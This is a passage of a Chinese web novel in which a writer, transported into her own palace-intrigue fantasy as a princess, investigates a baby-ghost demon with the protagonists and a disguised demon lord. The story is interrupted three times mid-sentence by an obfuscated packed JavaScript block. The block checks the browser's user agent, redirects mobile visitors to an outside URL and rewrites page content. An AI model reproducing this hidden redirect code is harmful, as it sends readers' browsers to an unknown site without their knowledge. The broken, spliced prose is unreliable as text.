白瑾宸嗤笑一声,漆黑的眸子深不可测,哑声道:“本座不杀了她,难解心头大恨。” 沈砚,本座还没找到你,没想到你亲自送上门找死。 沈砚连着打了好几个喷嚏,就这大热天的,还能着凉。 沈砚嘀咕着出门,差点撞上了前面的一尊大佛。 白瑾宸站在她前面,单手拎着把伞,似笑非笑地看着她:“走吧,公主。” 沈砚看他后面没人,有些疑惑地问他:“另外两位仙长呢?” 白瑾宸打开骨伞,伞面在阳光的反射下五彩斑斓,煞是好看。 白瑾宸不紧不慢地告诉她:“师尊和师妹先去太和殿面见圣上了,这会应该到了。” “哦。”沈砚跳下了台阶,走在了前面。 白瑾宸大步走在她旁边,给她撑伞挡阳。 正值正午,太阳猛得吓人,空气里到处都是强烈的紫外线,整座皇宫像一个巨大的汗蒸房。 沈砚低头看见自己白嫩的手臂毫无遮拦地暴晒,连忙紧急撤回,往伞荫里缩了缩。 鼻尖却萦绕着淡淡的梅香,沈砚僵硬片刻才发现是白瑾宸衣料上的味道。 咦,自己在他人物小传里有写到"体香"这么详细变态吗? 沈砚思索片刻,自己只写了白瑾宸喜欢在有人的地方穿水蓝色衣服,喜欢在魔族地界穿暗黑系衣服......沈砚悄悄看了身边人一眼,穿蓝色确实显得他阳光肆意,不过暗褐色更适合他大boss阴郁的性格,不知道他穿上是什么样子。 像是找到了变装小游戏的乐趣,沈砚脑海里刚设计好了一件黑衣服,就要往虚拟小人白瑾宸套,结果被白瑾宸乍然开口吓了一跳。 “不知公主如何看待魑妖?”白瑾宸像课堂老师一般突然发问,打的沈砚猝不及防。 魑妖?他提这个干嘛? 沈砚回想原书情节,白瑾宸和魑妖似乎并无关系呀,该不会是怀疑她和魑妖有一腿吧。 “我觉得,”沈砚伸出手指抵住下巴,故作思考状:“魑妖很聪明。” 就连她一个开挂的作家骗魑妖也不好使,魑妖神志不清竟也能思考判断。 “太可怕了。”沈砚发自肺腑地说了一句。 白瑾宸微微歪头,看着样子单纯的少女,心里讥笑。 他面上笑盈盈问:“那她杀人无数,该死吗?” 他盯着沈砚干净明亮的杏眼,不错过她任何一个表情,像是在求证些什么。 沈砚不知道他为什么这么问,但还是脱口回答:“没有人是该死的。” 白瑾宸似乎愣了一瞬,闭口不语。 4. 『宫闱暗事(4)』 到了太和殿,殿门敞开,隐约可以看见曲卓然和林思黎坐在里面。 沈砚走进殿中,向皇帝行礼。 “臣妾叩见陛下。”虽然皇帝从未给过原主名分,但按两国联姻来说,这个年纪可以当她爸的人确实是她的丈夫。 不过不妨碍沈砚看到他的脸就想吐出来的冲动,皇帝虽然四十有余,但皮肤犹如剥了壳的鸡蛋一样光滑水嫩,比后宫的妃子都好上数倍。 “平身吧。”皇帝冷冷地说道,目光警惕地审视着沈砚。 沈砚端正站好,就听见皇帝像拷问犯人一样问她:“晓姒,经过这么多天的反省,你可知道错了?” 沈砚低着眼看着足尖,在外人看来是羞愧难当:“臣妾知错,臣妾不该刮伤丽妃姐姐的脸,这实在是伤了姐妹和气,妾有愧。” 皇帝点了点头,也不知他怎么想的,随机炸出一句重磅级的话:“既然如此,那你今日就留下来陪朕吧。” 绝对不可以!!!沈砚在心里尖叫。 沈砚没有答话,一旁的曲卓然出声提醒:“陛下,此人与邪祟脱不了关系。” 沈砚心头一紧,好在曲卓然又说道:“她和邪祟或许是同盟也不好说,陛下还是尽量远离她为好。” 沈砚听懂了曲卓然的意思,恨不得跪下来感谢男主的大恩大德。 她急忙装作生气,大声斥责他:“你胡说!” “我们亲眼所见,我们追踪邪祟到你那,那邪祟竟然没伤你半毫,你和它绝对有问题!”林思黎猛地站起来,义不容辞道:“还请陛下将她交到我们手里,我们一定会严查!” 呜呜呜宝贝女儿......沈砚看着面无表情,其实早就喜极而泣,泪流满面了。 应该是主角二人太过正气了,那皇帝犹豫了几秒,还真的相信了。 “好吧,朕将她交给你们。不过晓姒是公主,你们可不能怠慢她。” “陛下!”沈砚难以置信地被正气二人组拖走。 想必在皇帝看来,这两人一定有什么发现才这般硬气将沈砚带走,到时候在做个顺水推舟,把一切推到沈砚身上,何乐而不为呢? 然而他没想到,这两人是她亲儿子亲女儿。 “吓死我了。”沈砚一出太和殿,擦了擦额头的冷汗道。 林思黎也道:“好险好险。没事,你以后和我们待在一起就安全了!” 曲卓然听后微微颔首,但面上还有几分顾虑,他认真地告诉沈砚:“殿下,我们平时可能会为了捉拿邪祟夜不归宿,不过我们会保证您的安全。” 沈砚点头,冲二人开朗一笑:“我不怕吃苦,叫我沈砚就行,我之前也有研究过邪祟,或许能帮上你们忙呢!” 只要能留她在他们身边,让她住狗窝都没问题! 四人回到住所吃午饭,沈砚作为嫌疑人,自然也就顺理成章地和他们住一块。 “这么看来,魑妖每出婴灵必随,婴灵又是怎么一回事?”林思黎问。结合沈砚昨晚的经历来看,夜里魑妖出场时跟随的婴儿哭声大概就是婴灵,孩子死去后化成的冤魂。 沈砚想了想,对他们发问:“你们知道这宫里有过皇子皇女吗?” “知道。”曲卓然刚泡好一壶茶,揭开茶盖,瞬间茶香四溢。 前几日他们还感到奇怪,皇帝四十有余还没有一个孩子,调查才知道这些孩子都在不足一岁时死去,邪门得紧。 去问皇帝,没想到他也是一副伤心欲绝的模样,问不出什么来。 “总不可能是他杀的吧?毕竟虎毒不食子啊。”林思黎面上犯怵。 白瑾宸百无聊赖地拨弄着杯中的茶叶,听到她这句话笑了下:“那可不一定。” “或许我们可以去问那些孩子的母妃?”沈砚提议。 曲卓然无奈摇头:“问过了,不说。” “我有一个办法!”林思黎兴冲冲地站起来,沈砚油然生出不妙的预感。 夜黑风高时,杀人放火天。 子时,宫里早已熄灭了烛火,大多数人都得以安然入睡。 然而有些人却难以睡着。 女人坐在桌案前,眉眼在烛火下温温柔柔,坐姿端正,一副大家闺秀做派。 “娘娘快睡吧,夜里灯火暗恐伤了眼睛,明早再绣吧。”小宫女早早铺好了床铺,小心翼翼地对案前的女人说。 贤妃绣着的手一凝,淡淡道:“好。” 她放下手中的绣品,缓缓地走到床边坐下。 待小宫女服侍她睡下,轻轻地走到案前要熄灭灯火,却不经意间看到绣品。 那是一只绣得活灵活现的小老虎,色彩鲜艳,一看就是小孩子喜欢在衣服上留下的图案。 小宫女不禁想起,之前娘娘做的一双走起路来铃铛会响的小鞋,那也是个精致玩意。 只可惜...... 夜已深,贤妃却如何也睡不着。 今日母家又遣人来送汤药,说是要她早日再怀上龙种,好为皇帝开枝散叶,母族的势力也能更上一层楼。 说到她那死去的孩子,贤妃闭了闭眼。 梦里婴儿可爱的睡颜让她辗转反侧,她恍恍惚惚地想,自己的孩子还不会叫母妃呢...... 孩子没了后,像把她的五魂六魄都带走了。在这吃人的皇宫里,自己还有什么盼头可言。 从前母族告诉她,进了皇宫就一定要为自己搏个子嗣,曾经的她满怀憧憬,如今她却彻底熄灭了这个念头。 最终都是一样的。 可怜她的孩子...... “哇哇哇~”似乎听到了细微的婴儿哭声,她不确定,又仔细听。 没想到声音越来越大,贤妃一下子就缩进被子里。 可夏天里盖的都是薄被,哪里能隔什么音呢? “哇哇哇~”婴儿的哭声空灵飘渺,听得贤妃心慌意乱,她大声在被窝里叫唤:“来人!来人!” 叫了几声却迟迟未有人进来,贤妃彻底慌了,想起了宫里的那些夜晚有婴儿哭的传闻。 “母亲、母亲......”稚嫩的童音像风一样穿来,贤妃惊恐地瞪大了双眼,流下了两行清泪。 “母亲,母亲,我是小五啊......”童音带着些许哭腔,“你不记得孩儿了吗?” 小五,小五,贤妃想起自己的孩子皇子里排行第五,她不可思议地掀开被子,露出了难以置信的表情。 “是你吗?小五?”贤妃满头大汗,大气不敢出。 “是我。我从来没有离开过母妃哦。” 纵然诡异,贤妃却没有像先前一样惊恐,而是有些期许。 可下一秒,她回想起孩儿的死状,浑身颤抖。 她流着泪,凄凄说道:“你是不是在怪娘?娘对不起你,娘对不起你啊!你若是来索命,娘就把命还给你,娘跟你去了!” 那童音却没有了哭腔,而是问她:“地府说孩儿要轮回转世,须告知前世死因。母妃,孩儿究竟是怎么死的?” “你是,你是,”贤妃捂着胸口,似是卯足了勇气,迅速说出她今生难以忘怀的,从未告知旁人的原因:“你是被你父皇杀死的!是他将你活生生地丢进火盆里烧死的啊!!” 童音还未答话,不知何时飘来一股淡淡的梅香,贤妃竟睡晕过去,留下了满面的涕泪。 沈砚伫立在床旁,闭了闭眼。 好一会儿,她才对身旁的白瑾宸悄声说:“走吧。” 屋子里黑灯瞎火,白瑾宸却说:“走不了了。” 沈砚正想问为什么,下一秒一股妖风袭来,带着浓浓的腥臭味。 这分外熟悉的味道,魑妖来了! 这可不在沈砚预料范围之内,沈砚急忙四处找藏身之处。魑妖怎么会来这里?她不应该在男女主那吗? 白瑾宸架着手臂,看着她四面八方地张望,不禁笑出声。他隐匿在夜下的颜色如月下海棠,笑声却灼得人心跳如擂。 “你笑什么?”沈砚不解,但也没管他,毕竟危险来临。 笑你软弱可欺,愚不可及。 白瑾宸冷眼看她,他真的搞不懂自己上辈子为何会栽在这个女人手里。只是一介凡人而已,怎敢操控他的人生,真是不知死活。 他手掌汇集魔气,幻化出一把冰刃,将它对准了沈砚的后背心脏的位置。 三。 二。 一。 沈砚蓦然抓住了他握冰刃的手腕,本该直直插入沈砚心脏的冰刃急急转了个弯,差点捅白瑾宸自己身上了。 少女却什么也没发现,拉着他急匆匆地冲衣柜后面躲。 看着她薄如蝉翼的肩,白瑾宸皱了皱眉,想从她手里挣开,却被沈砚不容置疑地一把推进了衣柜里。 “你干什么?”白瑾宸还没说完,沈砚就紧接着跳进衣柜里。 “嘘。”沈砚把衣柜门关好,小声跟白瑾宸说:“我知道你打得过魑妖,但这里是贤妃的宫殿,我们要被发现解释不清。” 然而,当沈砚真正站进衣柜里,才察觉轻微不对劲。 衣柜的东西太杂了,仅容二人立足,还是在将近贴在一起的情况下。 空间仄隘,沈砚的头被迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068584|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈紧紧靠在白瑾宸的肩上,发上的流苏在晃动中发出轻微的响声,惹人心烦。 白瑾宸手臂抵在沈砚背后的杂物上,省下了少许空间,正不耐烦地想低头让她挪过一点,下巴却意外碰到少女柔软的发顶。 白瑾宸顿了顿,刚想仰头,沈砚就跟感觉到他的动作一般,抬头和他四目相对。白瑾宸的眼神幽暗,读不懂他的神色。 空气的气氛似乎凝固了一瞬。 还是沈砚想到了什么,轻声问他:“曲仙长那边怎么样了?” 原来,他们中午的时候做了两个计划。曲卓然和林思黎去跟踪皇帝上贡,她和白瑾宸去吓唬贤妃说真相。 毕竟是男女主,曲卓然和林思黎这个计划的危险肯定是A级程度,百分之百会遇到魑妖。 而她和白瑾宸则是支线任务,本来白瑾宸一个人就够了,不过曲卓然担心她独自在宅院会被皇帝算计,就让白瑾宸带上她,反正也没有危险。这段剧情在小说中不一笔带过都算好的了,谁料魑妖会突然跑到贤妃宫里来。 一定是有什么环节出错了。 白瑾宸拿出一个薄薄的方块,沈砚眼前一亮。 是轩辕弟子人手必备的通讯器,和手机大差不差。 沈砚已经有两天没碰过手机了,见到它,恨不得把眼睛贴在上面。 白瑾宸打开了和曲卓然的对话框,发信息问他:“师尊,魑妖到我们这来了。你们那是不是出变故了?” 然而过了一会,曲卓然仍没有答话。 沈砚看着发亮的屏幕,若不是时候不对,她都想叫白瑾宸刷一下视频了。 毕竟别人没回她信息的空余时间,她都会下意识地刷几个视频放松一下。 可惜白瑾宸没有这个习惯。 沈砚腿站麻了,正想动一下,外面却突然传来异响。 “嗒嗒嗒,嗒嗒嗒。”脚步声长长延来,沈砚屏住了呼吸,悄悄从衣柜门缝往外看。 今夜是上弦月坐镇,月光洒在殿内的金砖墁地上泠泠生辉,堪堪能看清殿内风景。 月下红影,墨发及地,不是魑妖又是哪个? 魑妖四处张望着周围景色,像是在找什么东西,裙摆在轻轻摩擦地面,发出沙沙声。 看来是在找东西,她的位置离床还是有一定的距离,如果她没有找到那应该会主动离开吧? 万一他攻击贤妃了怎么办?自己是手无缚鸡之力,只能求白瑾宸,但白瑾宸会救她吗?让一个魔君去救人,难度暴值了好吧。 沈砚悄悄看了眼白瑾宸,岂料和他的目光又对视上了。白瑾宸桃花眼微微上挑,瞳仁幽深,仿佛暗河下涌动的漩涡,深不见底。 沈砚赶紧撇开眼去,怎么一副要杀人的模样?之前科普视频说,在老虎狮子一类的猛兽面前不能转身给它看自己的背部,怎么这魔修也是这般? 不过沈砚也是要尊重一下这位常年都在演戏的影帝,偶尔释放些戾气也是难免的,只要不是对她就行哈。 沈砚继续看向外面。魑妖看来已经转了一圈,大概是没找到她想要的东西,走到门前准备推门离去。 然而,魑妖刚推门,里面就传来动静。 不是沈砚他们,而是床上不知道什么东西掉落,发出了响声。 魑妖立马就顿住了,沈砚刚放下的心又悬了起来。 魑妖回过头,慢慢地循着声处朝着寝床走去,顿时,沈砚喉咙一紧。 她不会要攻击贤妃吧...沈砚紧张地盯着魑妖。 经过刚才的一番事后,她知道,贤妃不过也是个在皇权压迫之下,连孩子都护不住的可怜人。 女人杀女人,怨妻杀怨妻,根本什么也不能改变。 这或许就是故事的走向,但此时此刻,她却也难以放下心来。她的手轻轻地搭在柜门上,等待魑妖随时的暴起。 魑妖越走越近,她面无表情,倒在地上的影子如厉鬼般缠着她的足,“嗒嗒嗒。”脚步声在静谧的环境下愈发阴森。 沈砚微皱着眉,紧紧盯着魑妖,做好了冲出去的准备。 她走到了离床最近的桌案前,不知是什么引起了她的注意,竟迟疑地停了下来。 好一会儿,她缓缓蹲了下去,静静地看着桌上的物什。 由于沈砚在她后面,根本看不见是什么让她停了下来,只能庆幸她没有冲向贤妃。 魑妖动了,她拿起了桌上的东西,端在手中看。 看着看着,魑妖忽然开口,毫无意料的,她的声音温柔得娓娓动听:“娘在,娘一直在。” 沈砚惊讶地瞪大了眼。 5. 『宫闱暗事(5)』 月亮被乌云遮了半边,透着淡淡的光。宫道排排驻立着雕花镂空灯,将宫道照得澄黄发亮。 出了贤妃宫,沈砚信步走在前面,紫色宫裙摆步步生莲。 白瑾宸两三步就走到少女身边,和她并肩行走。 “公主不高兴吗?”白瑾宸侧头看着沈砚,轻声问她。魑妖没有伤贤妃分毫就离开了,沈砚不应该高兴才对吗?如此惺惺作态,让他难以理解。 沈砚冲他笑笑,摇头道:“没有,我只是在想魑妖曾经是有一个孩子吗?” 魑妖出去后,他们才发现魑妖手里拿的是绣着小老虎的绣品,再加上魑妖那句“娘在”,很难猜不出魑妖曾有个孩子。 可沈砚作为作者根本不知道。在她文中,魑妖最后是被唤醒记忆,带着不甘心被度化的。根本没有提到她有孩子,而文中伴随魑妖一起出现的婴灵哭声,也都是皇帝害死的婴儿啊。 不对。 沈砚突然抓住了白瑾宸的衣袖,停下来严肃地问他:“方才魑妖出现的时候,你有没有听到婴灵的哭声?” “没有。”白瑾宸本想甩开她,但见她表情不对劲就没动,盯着沈砚思考。 沈砚轻声说:“有没有一种可能,魑妖和婴灵之间不是伴随关系,而是哪里有孩子的哭声,哪里就有魑妖。” 如果这个假设成立,那么魑妖为何会突然出现在贤妃宫里就得以解释了,她和白瑾宸放了婴儿的哭声,魑妖自然而然的就被吸引过来了。 原来如此。 “沈砚!师兄!”忽闻有人在小声呼喊他们的名字。 沈砚定睛一看,曲卓然和林思黎站在宫道拐角。林思黎焦急地冲他们招手,曲卓然则有些虚弱地扶着墙。 “出什么事了?”沈砚大步走到他们身边。 林思黎说:“一时半会说不清了,师兄,快来扶一下师尊!” 好在住所并不远,四人很快就到了。 白瑾宸将曲卓然扶上榻,曲卓然斜斜靠着床头,手揉着太阳穴。 林思黎连水都顾不上喝,语无伦次地告诉他们发生了什么:“兵分两路之后,我和师尊去了偏殿,果然看到皇帝在给魑妖上贡,贡品竟然是一个被炭火烧焦的婴儿!皇帝在那祷告什么长生不老之类的话,魑妖也没有现形。等皇帝走了之后,魑妖突然跑出来撞到我和师尊,师尊就和她打起来了。在平时师尊一个手指头就可以对付她,可师尊偏偏在这个时候犯了头疾,被那厮打伤...” “等等,”沈砚打断她,疑惑地问,“头疾?” 林思黎虽然不知道她为什么这样问,但还是耐心解答了:“师尊好久以前就有的老毛病,时不时头疼一下。我和师兄都知道,是吧?” 白瑾宸正坐在床沿用灵力为曲卓然疗伤,听到她问,抬起头看着沈砚,清泠泠的目光不杂一分假意:“是。” 是你妹啊!沈砚内心里有一万匹马奔腾而过,她根本没有在曲卓然人物设定里加过“头疾”二字,好端端的,男主怎么会头痛这么久! 魑妖有孩子那顶多算个小漏洞,那男主这又是怎么一回事? 沈砚抓马中不自觉地看了眼白瑾宸,不会是他吧...... 不可能,白瑾宸虽然是魔族中人,但他来轩辕门派当卧底并非是为了杀男女主,他是要统一仙魔两派。在后面的反目成仇前,他和男女主虽无感情,但也无仇恨,不至于害男主。 沈砚摇了摇头,暂时放下此事,向曲卓然和林思黎叙述了在贤妃宫里发生的事。 “这么说来,死婴被魑妖吞噬后成了阴魂不散的婴灵,而那魑妖曾经也有孩子所以对婴灵的哭声十分敏感,哪里有孩子哭,哪里就有魑妖。”林思黎听后总结道。 “我们此行是要超度魑妖,那岂不是可以从这里下手,让她心甘情愿被度化?”林思黎又问。超度魑妖的方法有强迫和自愿,但都要魑妖把以前的记忆找回来,有些怨气会暴涨,没有办法劝说的话就要强制超度,如果魑妖幡然醒悟,那就自愿超度。如果可以找到孩子,那劝说她和孩子一同超度的机率会比以前大多了。 “没错,那魑妖的身份应该很快就能找出来了。”沈砚从床底翻出了十几本比砖还厚的皇宫秘史,是林思黎几人在外面商铺买的,据说已经是孤本了。 白瑾宸给曲卓然疗完伤后,也走过来和她们一起翻书。 沈砚当然知道在哪里,但她秉持着不抢女主高光原则,就随便翻翻。 大概是前夜没睡,沈砚一个凡人之躯支撑不住,看了几页倒头就睡了。 可以说是睡得不知天地为何物了,连身边人晃她都没反应。 林思黎目光奇怪地看着白瑾宸用手指一戳一戳沈砚盖头的书,表情愉悦。师兄怎么回事,之前别人睡着了,给祂披件衣服都是他的基本常态,怎么沈砚睡着了就没事瞎弄醒人家? 眼见着沈砚轻微动了动,林思黎再也忍不住小声谴责白瑾宸:“师兄!” 白瑾宸掀起眼皮看她:“怎么了?” “你把沈砚送回房间吧。”林思黎摆了摆手,继续看她的书去了,不放心似的补充道:“你别把她吵醒了。” 她没看到,白瑾宸脸瞬间黑了,送她回房间?想死吗? 白瑾宸一把丢开沈砚手里的书,冷着脸抱起沈砚往厢房外走去。 少女好像被惊动了,呢喃了几声,往他怀里凑了凑,少女幽暗的馨香带着朝气的露水直扑而来。 白瑾宸身体一僵,额上青筋狂跳。 出了门,白瑾宸低头盯着怀里少女娇憨的睡颜,一副睡熟的样子,全然没有醒来的自觉。 他抱着她穿过漆黑的连廊,夜风让沈砚的裙摆无规律地拍打着白瑾宸的臂弯,惹得人一阵心烦。若不是顾及自己的身份,白瑾宸都想把她这个烫手山芋丢到旁边的水池里去。 “魔君大人,快杀了她!”白瑾宸意识海里的那个声音忽然苏醒,看到沈砚睡着,激动地叫道。 “杀她?” 他倒是想,但哪里有那么容易。沈砚固然脆弱好杀,但屋里的那两人可没有那么好糊弄,不能在这个时候死在他手里。 见白瑾宸没理他,那声音急了:“大人怎么还不动手?难道您反悔了吗?您别忘了她给你写的判词是......” "够了。"白瑾宸冷冷打断它,“本座需要你提醒?” 那声音立马噤若寒蝉。 白瑾宸推开房门,正要把沈砚往床上一扔,结果沈砚的手抓着他的衣襟不放。 他握住沈砚的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068585|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她的手指一个一个掰开,沈砚自动滚进了软软的被窝里,暮山紫宫裙那样一套典雅的宫装被她滚得皱巴巴的。 成何体统。 白瑾宸别开眼,想到她给自己写的判词,冷笑地转身离去。 茶园那都准备好了,还怕她沈砚死不了吗? 第二日,沈砚在林思黎的一声“我找到了!”中醒来。她揉了揉眼睛,发现她在自己的床上,不觉有些诧异。 她推开了房门,看到林思黎高兴地捧着书跳来跳去,嘴角扬起一道幅度。 曲卓然又是一袭白衣坐在柳树下的亭子中,静静看着院子里欢呼的少女,微不可察地弯了弯眉眼。 沈砚看到了男女主同框的美好画面,姨母笑都快溢出来了。她靠在门口前的柱子上注视着两人,就是曲卓然也太不主动了,老要林思黎去猜他的心思,不过这两人也是互补,般配! “看什么呢?”白瑾宸不知不觉走到她旁边,睡眼惺忪。他今日没有佩戴玉冠,而是用紫色丝带简单将墨发束起,和他身上绛紫金纹袍倒是相搭。 “思黎找到了魑妖的记录。”沈砚答道。 白瑾宸还要睡觉啊,林思黎活蹦乱跳几天都不困,他堂堂一个魔君还比不上?不过转念一想,白瑾宸现在是分身,困很正常,说不定还要在魔宫里开什么会议之类的。 几人一同在亭子里坐下饮茶,夏风习习,荫凉得很。 “魑妖名字叫做江婉,是李朝殇帝的一个妃子,或者说是废妃。书上说她琴棋书画样样精通,还被誉为李朝第一美人,野史上说她曾经还是皇帝的左膀右臂,辅佐君王比很多大臣还要熟练。彼时帝王还没有皇后,这二人在民间也算是一段佳话。可惜好景不长,殇帝喜欢上了江婉提携的宫女王云,给她破格一路升妃位,一度专宠王云,甚至到后来还要封她为皇后。 “期间殇帝与王云荒度光阴,无暇关心朝政大事,就连王云要杀了江婉也是默许的。当时正逢时疫,江婉最后是被王云做局,当成妖女活活被烧死在江边。 “江婉死后,因殇帝的不作为,许多地方都开始起义,殇帝和王云在逃亡中也相继被叛军所杀。” 林思黎叹息地说完这个故事,闷闷不乐。 沈砚轻轻拍了拍她的背,将一盘蜜饯推到她前面。 白瑾宸注意到她的动作,眼眸一暗,喝了一口茶。 “这么说来,江婉是恨殇帝不爱她,因爱生怨吗?”白瑾宸笑吟吟地看着沈砚,一副求知若渴的模样。 问她做什么?沈砚一头雾水,但也认真地回答了他:“不一定吧,有几个妃子不怨皇帝宠幸他人的。如果只是恨皇帝不爱自己,那宫里到处都是魑妖了。” “江婉的孩子应该是死在腹中了。”曲卓然将书递给他们看。 几人都没有在书上找到江婉孩子的一点踪迹。 “也有可能是被历史抹去了。”林思黎说。历史是由胜利者所书写的,王云和殇帝肯定不会把杀害皇嗣这样有为颜面的历史留下。 白瑾宸摇了摇头,笑道:“我倒知道有个地方或许能找到孩子的踪迹。” “哪里?”林思黎问。 沈砚此时也意识到了一个答案,她看向白瑾宸。 “江婉的废宫啊。” 6. 『宫闱暗事(6)』 没错,他们现在有书可以找江婉曾经的宫殿探探究竟,但殇帝时期在大约一百年前,皇宫虽没有变,却早已是物是人非了,江婉的宫殿能找到什么呢? “巧了,江婉的宫殿至今是废宫......”白瑾宸指尖在桌面敲节奏,忽然轻嗤一笑,他抬起头对上了众人疑惑的目光:“有人来了。” 朱红色大门被打开,一个身穿暗纹长袍,头戴红缨凉帽的太监走了进来,后面跟着两个小太监。曲卓然悄声地告诉身旁几人:“是皇帝身边的总管。” “咱家给诸位仙长请个早安了。”太监在他们面前站定,默默地注视几人,微微笑道:“咱家是来为陛下传达口谕的。” 沈砚几人站起身来,听听是什么事情让皇帝需要传话给他们。 原来是皇帝的宠妃怀孕了,皇帝明晚要办一场宴席来庆祝,希望他们能够在宴会上保护好宠妃。 曲卓然听完皱了皱眉头,似是觉得不妥,还是对太监温语道:“眼下邪祟流窜皇宫,办喜事恐怕不妥,易遭邪祟缠身。” 太监面色不虞,“啧”了一声,看完四下无人,偷偷地对几人说道:“陛下久无子嗣,前朝已经闹翻天去了,这次丽妃娘娘有喜,陛下定然是要设宴昭告群臣的。” “唉,你们是仙门中人,自然难以了解其中许多弯弯绕绕。咱家不多说了,陛下那还有事吩咐,咱家先告退了。”太监总管扬扬手上的拂尘,行了个礼扬长而去。 留下几人原地感叹。 “皇帝先前杀自己的孩子以求长生的时候哪里有想过前朝?”林思黎一脸嫌恶。 沈砚表示赞同,皇帝在杀害自己孩子的时候哪里会想不到,只不过是为了一己私欲而罔顾人伦,可恨。 “他就算是后悔也只会后悔没有留一个掩人耳目。”白瑾宸嗤笑,他转身坐下,给自己的茶杯斟满了茶。 确实是这样,倘若皇帝真的能通过献祭婴儿得到长生的话,还要子嗣做什么?皇帝有个千秋大梦啊。 “不过这样的邪术真的能让皇帝长生吗?”沈砚好奇地问曲卓然。 “当然不能,”曲卓然负责任地告诉大家,“皇帝虽然看似气血足,其实体内早就被怨气侵蚀得百孔千疮了。” ... 四人同时出门,曲卓然给每个人都分配了事情干。 丽妃那边需要一个说得上话的人去 ,曲卓然作为师尊,自然是他去最合适。丽妃那里还需要一个女眷好说话,本来沈砚想去的,但由于皇帝当时诬陷她划伤丽妃的脸,此时去也颇为尴尬,就让林思黎去。沈砚就和白瑾宸去江婉的废宫找找线索,大白天的也不会有什么危险。 沈砚还特地跨了个小布袋去,手上拿着个皇宫地图,不知道还以为是去寻宝呢。白瑾宸则什么都没带,指尖甩着不中从哪翻出来的月牙色吊坠就出门了。 沈砚边走边展开地图,偏头问旁边的白瑾宸:“白仙长,哪个是江婉的废宫啊?” 地图上布满了花花绿绿的宫殿,沈砚看得眼花缭乱,只能求助白瑾宸。 白瑾宸接过地图,瞥了一眼就用指尖生出淡淡灵气,在一个犄角旮旯的地方打了个淡蓝色的圈圈。 “这里。”白瑾宸正要还给沈砚,却见沈砚没有收回去的自觉,黑白分明的杏眼都写着“你带我去呗”的恳求。 “白仙长,我从小方向感奇差,要不还是你带路吧!”沈砚真挚地对着白瑾宸双手合十。这不是假话,她从小就是路痴,她小学才一万多平方米,她从教室出来逛了一圈就要向老师问路了。平时逛街探店,经常站在人店门口也能跟着导航又继续绕个大圈回到起点,时不时被损友嘲笑,真是说多了都是泪... 白瑾宸倒没有嘲笑她,收回地图就往前走。 沈砚跟着他,总感觉气压不对,她不会惹到这个大反派了吧。她用余光看白瑾宸,白瑾宸面色如常,还带着他平时常有的淡淡笑意。 看样子也不像呀,但他平时想什么也不会流露半分,她要不要给他讲个笑话什么的。 可沈砚犹豫几次也没有开口,白瑾宸一个日理万机的大魔君什么笑话没听过,就算表面上笑成毒液了,心里不知道会把她骂成什么样了。万一他觉得她说笑话没有价值且太烦了,直接给她就地斩了怎么办? 沈砚摸摸自己脆弱的脖颈,杀她一个凡人也太简单了吧,还是别说话好了。 巍峨的皇宫上空时不时又流云飞鸟,早晨新鲜的空气沁入人心。时不时会遇上几个步履匆忙的太监宫女,好奇地偷偷打量着这两人。 不料没走多久,白瑾宸就找她聊天,哦不,更像是在问话。他目视前方,唇畔微微有幅度:“我昨夜见公主似乎对师尊的头疾很是关心,不知是否有什么见解?” 她能有什么见解?有也不能说啊。沈砚随便胡诌道:“我只是在想曲仙长这么厉害的人物都有头疾,一时惊讶。” “是么?”白瑾宸突然停下脚步,低眸看着她,嘴角微翘,但眼里藏着探究的欲望。 沈砚被他这么一下子打个措手不及,顿了一下,她微微仰头看着他深褐色的眼睛,笑意温软地说:“当然啦,如果是白仙长生病,我也会很是关心。”她特地加重了“很是”这两个字,生怕白瑾宸听不出来。 这厮疑心病怎么这么重??连她一时反应都能记在心上。早知道不给他加疑心这个设定了。 白瑾宸挑了挑眉,也没计较。而是将手上串着的月牙色吊坠扔进她怀里。 “这是?”沈砚好奇地拿起吊坠,是上好的和田玉与杏色长穗组成一体,看着像是女孩子的玩意。 “你昨日睡着落在地上了。”白瑾宸也没过多解释,径直往前走。 沈砚小跑跟了上去,她什么时候带这个吊坠了?但沈砚确实穿书至今从未关注过自己身上带着什么,看白瑾宸这样毋庸置疑,沈砚有些怀疑自己是否真的有这个坠子。可如果去询问白瑾宸,就必然会遭受到比刚才更激烈的怀疑...... 可是她方才看着这个吊坠在他指尖上转圈圈的,自己还一点反应都没有,如果这个真的是她的,白瑾宸这么聪明肯定早就发现不对劲了。 白瑾宸不会是在怀疑她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068586|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的公主身份吧? 沈砚一阵紧张,思来想去还是认命地把吊坠往包里塞。 低头时脑袋却不小心撞到了“墙壁”。 